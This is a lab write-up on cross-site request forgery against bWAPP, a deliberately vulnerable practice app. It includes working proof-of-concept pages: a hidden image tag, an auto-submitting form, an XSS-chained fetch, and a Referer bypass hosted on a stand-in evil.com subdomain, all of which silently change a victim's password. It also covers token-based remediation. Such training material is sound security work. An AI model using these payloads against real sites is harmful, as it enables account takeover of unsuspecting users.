🧪 05 — CSRF (Cross-Site Request Forgery)

CSRF — Cross-Site Request Forgery

OWASP: A01 - Broken Access Control | **CWE**: CWE-352 | **Severity**: 🟠 High

---

📖 Description

CSRF tricks an authenticated victim into submitting a forged request to the target web app. Since the victim's browser automatically includes session cookies, the server sees the request as legitimate. The attacker doesn't need to steal credentials — they just need the victim to visit a malicious page while logged in.

Key condition: Victim must be authenticated when they click/visit the attacker page.

🔍 Affected Endpoint

```
http://localhost/bWAPP/csrf_1.php     (Change password)
http://localhost/bWAPP/csrf_2.php     (Transfer funds sim)
```

⚠️ Security Level: LOW

Behavior

No CSRF token. The password change form only checks if user is logged in.

Vulnerable Request

```
GET /bWAPP/csrf_1.php?password_new=hacked&password_conf=hac
ked&action=change HTTP/1.1
```

```
Host: localhost
Cookie: PHPSESSID=victim_session; security_level=0
```

PoC — Malicious HTML Page

```
<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
<h1>Congratulations! You won!</h1>

<!-- Invisible image tag that silently sends the request --
>
<img src="http://localhost/bWAPP/csrf_1.php?password_new=ha
cked123&password_conf=hacked123&action=change"
     width="0" height="0">

<p>Click below to claim your prize...</p>
</body>
</html>
```

PoC — Auto-Submit Form

```
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/bWAPP/csrf_1.php" method="GE
T">
  <input type="hidden" name="password_new" value="attacker1
23">
  <input type="hidden" name="password_conf" value="attacker
123">
  <input type="hidden" name="action" value="change">
</form>
<p>Loading awesome content...</p>
</body>
</html>
```

PoC — via XSS (Chained Attack)

```
// If XSS exists, automate CSRF via fetch
fetch('http://localhost/bWAPP/csrf_1.php?password_new=pwned
&password_conf=pwned&action=change', {
    credentials: 'include'
});
```

Steps to Reproduce

```
1. Log in to bWAPP as 'bee' / 'bug'
2. In another tab, open the malicious HTML file above
3. The request fires automatically with victim's session co
okie
4. Try logging in with old password -> fails
5. Try logging in with 'hacked123' -> succeeds
6. Password was changed without victim's knowledge
```

⚠️ Security Level: MEDIUM

Defense Applied

bWAPP checks the `HTTP Referer` header to ensure request comes from same origin.

Bypass

```
# Referer header can be spoofed by some browsers/configs
# Or if victim visits from a page with same referer

# Referer bypass via subdomain
# Host malicious page at: http://localhost.attacker.com/csr
f.html
# Browser sends Referer: http://localhost.attacker.com/
# Check only validates 'localhost' substring -> bypass!
```

PoC

```
<!-- Host this at: http://localhost.evil.com/attack.html -->
<!-- Referer will contain 'localhost' -> passes check -->
<img src="http://localhost/bWAPP/csrf_1.php?password_new=owned&password_conf=owned&action=change">
```

⚠️ Security Level: HIGH

Defense Applied

Synchronizer Token Pattern — unique CSRF token per session embedded in form.

```
<input type="hidden" name="csrf_token" value="a3f8b2d91c7e4...">
```

Why It Works

- Token is random and unpredictable
- Attacker cannot read token due to Same-Origin Policy
- Server validates token on every state-changing request

📊 Impact Analysis

Impact	Description
Account Takeover	Change victim's password or email
Financial Fraud	Transfer money/points if app has such feature
Data Modification	Delete/alter victim's data
Privilege Escalation	Admin actions performed on victim's behalf

---

✅ Remediation

1. **CSRF Tokens**: Unique, unpredictable per-session tokens in all state-changing forms
2. **SameSite Cookie**: `Set-Cookie: session=x; SameSite=Strict`

3. **Custom Request Headers**: AJAX requests with custom header (e.g., `X-Requested-With`)
4. **Re-authentication**: For sensitive actions (password change), require current password
5. **Referer Validation**: Check but don't rely solely on Referer

```
// Generate CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Validate on form submit
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}
```

📚 References

- CWE-352: https://cwe.mitre.org/data/definitions/352.html
- OWASP CSRF: https://owasp.org/www-community/attacks/csrf